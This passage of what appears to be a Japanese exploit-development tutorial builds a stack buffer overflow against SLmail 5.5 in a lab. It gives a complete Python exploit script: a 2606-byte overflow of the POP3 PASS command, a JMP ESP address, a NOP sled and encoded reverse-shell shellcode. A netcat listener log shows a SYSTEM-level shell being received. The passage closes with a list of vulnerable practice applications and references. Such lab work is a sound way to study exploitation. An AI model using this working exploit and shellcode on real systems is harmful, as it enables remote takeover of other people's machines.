## リバースシェルの確立
これまで得られた情報を元に、エクスプロイトコードの組み立てを行います。

- `2606 bytes`の`A`（16進コードは`0x41`）でバッファを上書き
- `EIP`の値を`\x8F\x35\x4A\x5F`で上書き（`JMP ESP`アドレス）
- `NOP`（No Operation）命令（`\x90`）を8つ挿入：NOP Sled（NOPスライド）
- シェルコード本体

>`payload = "A"*[offset] + [JMP ESP] + [NOP Sled] + [Shellcode]`

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
NOP = "\x90" * 8
shellcode = ("\xdb\xc6\xbe\x09\x4c\x42\xd3\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x13\x03\x7c\x5f\xa0\x26\x82\xb7\xa6"
"\xc9\x7a\x48\xc7\x40\x9f\x79\xc7\x37\xd4\x2a\xf7\x3c\xb8\xc6"
"\x7c\x10\x28\x5c\xf0\xbd\x5f\xd5\xbf\x9b\x6e\xe6\xec\xd8\xf1"
"\x64\xef\x0c\xd1\x55\x20\x41\x10\x91\x5d\xa8\x40\x4a\x29\x1f"
"\x74\xff\x67\x9c\xff\xb3\x66\xa4\x1c\x03\x88\x85\xb3\x1f\xd3"
"\x05\x32\xf3\x6f\x0c\x2c\x10\x55\xc6\xc7\xe2\x21\xd9\x01\x3b"
"\xc9\x76\x6c\xf3\x38\x86\xa9\x34\xa3\xfd\xc3\x46\x5e\x06\x10"
"\x34\x84\x83\x82\x9e\x4f\x33\x6e\x1e\x83\xa2\xe5\x2c\x68\xa0"
"\xa1\x30\x6f\x65\xda\x4d\xe4\x88\x0c\xc4\xbe\xae\x88\x8c\x65"
"\xce\x89\x68\xcb\xef\xc9\xd2\xb4\x55\x82\xff\xa1\xe7\xc9\x97"
"\x06\xca\xf1\x67\x01\x5d\x82\x55\x8e\xf5\x0c\xd6\x47\xd0\xcb"
"\x19\x72\xa4\x43\xe4\x7d\xd5\x4a\x23\x29\x85\xe4\x82\x52\x4e"
"\xf4\x2b\x87\xc1\xa4\x83\x78\xa2\x14\x64\x29\x4a\x7e\x6b\x16"
"\x6a\x81\xa1\x3f\x01\x78\x22\xec\xc6\x52\x19\x84\xe4\x52\x4f"
"\x09\x60\xb4\x05\xa1\x24\x6f\xb2\x58\x6d\xfb\x23\xa4\xbb\x86"
"\x64\x2e\x48\x77\x2a\xc7\x25\x6b\xdb\x27\x70\xd1\x4a\x37\xae"
"\x7d\x10\xaa\x35\x7d\x5f\xd7\xe1\x2a\x08\x29\xf8\xbe\xa4\x10"
"\x52\xdc\x34\xc4\x9d\x64\xe3\x35\x23\x65\x66\x01\x07\x75\xbe"
"\x8a\x03\x21\x6e\xdd\xdd\x9f\xc8\xb7\xaf\x49\x83\x64\x66\x1d"
"\x52\x47\xb9\x5b\x5b\x82\x4f\x83\xea\x7b\x16\xbc\xc3\xeb\x9e"
"\xc5\x39\x8c\x61\x1c\xfa\xac\x83\xb4\xf7\x44\x1a\x5d\xba\x08"
"\x9d\x88\xf9\x34\x1e\x38\x82\xc2\x3e\x49\x87\x8f\xf8\xa2\xf5"
"\x80\x6c\xc4\xaa\xa1\xa4")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + NOP + shellcode + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
```

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、`Python`コマンドを実行します。
`nt authority\system`権限で動くシェルを確立させることができました。

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
172.16.208.172: inverse host lookup failed: Unknown host
connect to [172.16.208.171] from (UNKNOWN) [172.16.208.172] 49184
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\SLmail\System>whoami
whoami
nt authority\system
```

# スタックバッファオーバーフローの練習教材
スタックバッファオーバーフローの練習に使用することのできるアプリケーションリストです。

|アプリケーション名|URL|
|:---|:---|
|CloudMe Sync 1.10.9|https://www.exploit-db.com/exploits/44175/|
|Freefloat FTP Server 1.0|https://www.exploit-db.com/exploits/17546/|
|MiniShare 1.4.1|https://www.exploit-db.com/exploits/636/|
|PCMan FTP Server 2.0.7|https://www.exploit-db.com/exploits/26471|
|Savant Web Server 3.1|https://www.exploit-db.com/exploits/10434/|
|SLmail 5.5|https://www.exploit-db.com/exploits/638/|
|WarFTP 1.65|https://www.exploit-db.com/exploits/3570/|
|Vulnserver|http://www.thegreycorner.com/2010/12/introducing-vulnserver.html|
|VulnHub - Brainpan: 1|https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332|

# 参考資料
- [Exploit writing tutorial part 1 : Stack Based Overflows](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/), Corelan Team, 2009/07/19
- [Windows Exploit Development – Part 1: The Basics](http://www.securitysift.com/windows-exploit-development-part-1-basics/), Mike Czumak, 2013/12/6
- [Writing Exploits for Win32 Systems from Scratch](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/), Nacho Sorribas, 2016/6/23